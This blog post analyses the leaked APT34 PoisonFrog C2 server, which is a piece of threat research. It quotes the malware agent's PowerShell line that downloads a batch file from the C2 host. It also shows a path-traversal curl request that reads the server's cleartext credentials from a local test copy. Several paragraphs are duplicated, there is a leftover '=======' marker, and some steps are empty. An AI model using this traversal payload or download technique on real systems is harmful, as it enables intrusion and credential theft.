A journey on APT34 PoisonFrog C2 Server

In the recent years APTs have been the center of infosec. Mainly because of the public coverage by the media, glorifying by security companies and many more things. In this blog post I will analyse the C2 Server used by Oilrig/APT34 and how bad coding practice can lead to vulnerabilities that can allow the takeover of the C2 server.

Every time there is a leak that affects some hacking group it always sparks my interest. I always study the source code and the features these tools have in order to learn new techniques that may come in handy during our Red Team operations, so I started digging in the PoisonFrog C2 framework.

I started by downloading the tools on Github : https://github.com/blackorbird/APT_REPORT/tree/master/APT34

The PoisonFrog framework is formed by two components, but our focus will be the C2 server.

PoisonFrog C2 Server

The C2 Server is built on node.js and the coding pattern that are used shows that whoever programmed the C2 side of the framework wasn’t very experienced with programming. Unfortunately the source code of the C2 server is missing the most important part, the script bringing everything together, but by looking at different components of the framework we get a clear description of how everything is “glued” together.

The “serverside” folder of the C2 framework contains the following files :

  • installing - This folder contains bash and bat scripts for the installation of the dependencies.
  • routes - This folder contains a javascript file that contains most of the source code.
  • views - The html templates.
  • 0000000000.bat/9999999999.bat - bat files that gathers information about the computer is executed on.
  • config.json - The C2 server configuration.

The most interesting file was index.js which was responsible for exporting most of the functions used by the C2 server.

First thing that I investigated was the login functionality. It first checks if the a cookie with the username is set and if not it will try to compare the credentials provided on the request.

Firstly, I started looking at the login functionality which immediately showed the code quality. As can be seen below, it first checks if a cookie with the username is set and if not it will try to compare the credentials provided on the request. This authentication mechanism is clearly poor and there are a lot of bad practices but none of them allows you to bypass the authentication.

exports.login = function (req, res) { // .......... login checking function ............
    var Cookies = require('cookies');
    var cookies = new Cookies(req, res);
    var cookie = cookies.get(config.user);
    if (cookie === undefined) {
        //console.log("cookie not exist");
        var username = req.body.username;
        var password = req.body.password;
        //console.log(username+"   "+password);
        if (username == config.user && password == config.password) {
            // set cookie
            cookies.set(config.user, config.password, { maxAge: new Date(Date.now() + 3600000), expires: new Date(Date.now() + 3600000), httpOnly: true })
            //console.log('cookie created successfully');
            res.redirect("/in/http");
            return;
        } else {
            res.redirect(config.guid);
            return;
        }
    } else {
        // yes, cookie was already present 
        //console.log('cookie exists', cookie);
        res.redirect("/in/http");
    }
}

Apart from poor coding practices followed, the following part of the code could allow the compromise of the C2 server.

At this point I was pretty sure there would be some more poorly implemented code and I stumbled across the following function.

exports.getFile = function (req, res) {
    var fileName = req.params.input;
    var fs = require('fs');
    var fileAddress = commonDir + "files/" + fileName;
    fs.createReadStream(fileAddress).pipe(res);
};

The exported function getFile initializes the fileName variable from the request that is sent to the C2 server. Since no sanitization is done on the input, an attacker can traverse directories and access sensitive files. Unfortunately, we do not have access to the entire source code but based on the code we have we can confirm that the vulnerability exists.

On the exported function agent the following lines of code were interesting:

fs.createReadStream("./0000000000.bat").pipe(fs.createWriteStream(commonDir + "/files/386be98ce7c7955f92dc060779ed7613"));
fs.writeFile(agentDir + "/wait/0000000000", "0000000000<>C:\\Users\\Public\\Public_Data\\files\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not", function (err) { if (err) { console.log(err); } });

We can see that the bat file is written to the commonDir/files/386be98ce7c7955f92dc060779ed7613. Additionally the command that is sent to the agent is constructed and written to the agent directory. This demonstrates the consistency of the file directories between the getFile and agents functions.

The other missing part of the puzzle is the URL endpoint this function was called on and since some of the server code was missing my focus turned in analyzing the powershell Agent.

The exported function getFile initializes the fileName variable from the request that is sent to the C2 server. Since no sanitization is done on the input, an attacker can specify a specially crafted input parameter in order to access files outside of the main directory.

Unfortunately, we do not have access to the entire source code but based on the code we have we can confirm that the vulnerability exists.

In order to understand at what point of the communication between the agent and the C2 the getFile function was used, I needed to get a better understanding of both components.

On line 826 the exports.agent function is defined with the comment “agent request for last command”. From that comment we can clearly understand that this function is responsible for handling the command distribution on the agent. Basically what the function does is it will get the agentId from the request and check if this is an existing agent or not. If it’s a new agent, it will create three directories “/send/” , “/receive/”, “/wait/” as can bee seen in the code snippet below.

var agentCode = req.params.input;
[SNIP]
agentId = agentCode.substring(0, 5) + agentCode.substring(agentCode.length - 5, agentCode.length);
var agentDir = commonDir + "http/" + agentId;
        if (!fs.existsSync(agentDir)) { // this is new agent ....
            fs.mkdir(agentDir, function (err) {
                if (err) { console.log(err); }
                fs.mkdir(agentDir + "/send/");
                fs.mkdir(agentDir + "/receive/");
                fs.mkdir(agentDir + "/wait/", function (err) {
                    if (err) { console.log(err); }
[SNIP]

We can skip the send and receive folders and only focus on the /wait/ one. As I mentioned earlier, the 0000000000.bat file was responsible for collecting information regarding a Windows host. So after creating the wait folder, it will read the bat file and write it in commonDir + “/files/386be98ce7c7955f92dc060779ed7613” as can be seen in the below :

fs.createReadStream("./0000000000.bat").pipe(fs.createWriteStream(commonDir + "/files/386be98ce7c7955f92dc060779ed7613"));

Additionally, it will create a file named 00000000 in the Agent wait directory.

fs.writeFile(agentDir + "/wait/0000000000", "0000000000<>C:\\Users\\Public\\Public_Data\\files\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not", function (err) { if (err) { console.log(err); } });

We can see that the filename 386be98ce7c7955f92dc060779ed7613 which was created previously, is embedded in the response the C2 server sends to the agent. Merely by looking at the constructed string we can see that the filename is used by the agent to access the bat file. If you remember the getFile function, it was using the same directory (commonDir + /files) to serve the files thus demonstrating the consistency of the file directories between the getFile and agents functions.

The other missing part of the puzzle is the URL endpoint the getFile function was called on and since some of the server code was missing my focus turned in analyzing the powershell Agent.

In order to understand the process better let’s follow the communication between the agent and the C2 step by step.

  1. Agents connects to the C2 Server.

  2. C2 Server builds the command.
    0000000000<>C:\\Users\\Public\\Public_Data\\files\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not
    
  3. The Agent receives the command from the C2, and creates an array out of it.
    if ({DownloadedCommand}) {
         {AgentCommandArray} = {DownloadedCommand}.split("<>") | where {$_}
    
  4. After performing some checks on the array, it used powershell webclient in order to download the file named as the third(fourth) argument of the array.
    {WebClientGlbVariable}.DownloadFile("http://c2server/fil/"+{AgentCommandArray}[3], $EEA+{AgentCommandArray}[2]);
    
  5. The full URL endpoint to download the file would be:

6. From the above code and information we can suppose that the implementation of the missing code would be something like this :

=======

  1. C2 Server builds the command and sends it to the agent.
    0000000000<>C:\\Users\\Public\\Public_Data\\files\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not
    
  2. The Agent receives the command from the C2, and creates an array out of it as we can see in the following code snippet:
    if ({DownloadedCommand}) {
         {AgentCommandArray} = {DownloadedCommand}.split("<>") | where {$_}
    
  3. After performing some checks on the array, the agent used powershell webclient in order to download the file named as the third(fourth) element of the array and saving it in $EEA+second(third) element of the array. The $EEA variable is defined in the beginning of the agent and contains the value $env:PUBLIC+”\Public\files".
{WebClientGlbVariable}.DownloadFile("http://c2server/fil/"+{AgentCommandArray}[3], $EEA+{AgentCommandArray}[2]);

The “parsed” call would we something like this :

WebClient.DownloadFile("http://c2server/fil/386be98ce7c7955f92dc060779ed7613",$env:PUBLIC+"\Public\files\" +  "0000000000.bat" .

It should be noted that the following snippets of code has been taken by the HTTP agent that was dropped by the powershell script. Also, some of the variable names have been changed to be more clear to read.

Now we can clearly connect all the dots between the way the agent downloads the file and how the getFile function is responsible for sending the file response back.

Conclusions

Having a good understanding of where the vulnerable function is used, the implementation of the missing code would be something like this :

const express = require('express')
const app = express()
[SNIP]
app.get('/fil/:input',getFile);
[SNIP]

Now back at the vulnerable code we can exploit it as any other directory traversal vulnerability.

We can read the config.json file which contains the clear text credentials of the C2, giving us control over the C2 Server. An example service was started that implemented the same function as the C2 server and sending the following request will disclose the clear text credentials.

As I described earlier in the post, this is a directory traversal vulnerability and can be exploited in several ways but the most relevant in this case would be reading the config.json file which contains the clear text credentials of the C2, giving us control over the C2 Server. An example service was started that implemented the same function as the C2 server and sending the following request disclosed the clear text credentials on the config.json file, in this case the ones in the leak.

test@ubuntu:~$ curl 'http://127.0.0.1:3000/fil/..%2Fconfig.json'
{
    "guid" : "/7345SDFHSALKJDFHNASLFSDA3423423SAD22",
        "user" : "blacktusk",
        "password" : "fireinthehole"
}test@ubuntu:~$

Keep in mind that this blog post this was constructed by my understanding of both the components of Poison Frog but I can’t certainly confirm the existence of the vulnerability without having the entire code. However, there are firm evidences in the components code that agrees with me ¯\_(ツ)_/¯ .

If you have any questions or maybe some knowledge to drop feel free to contact me.

Updated: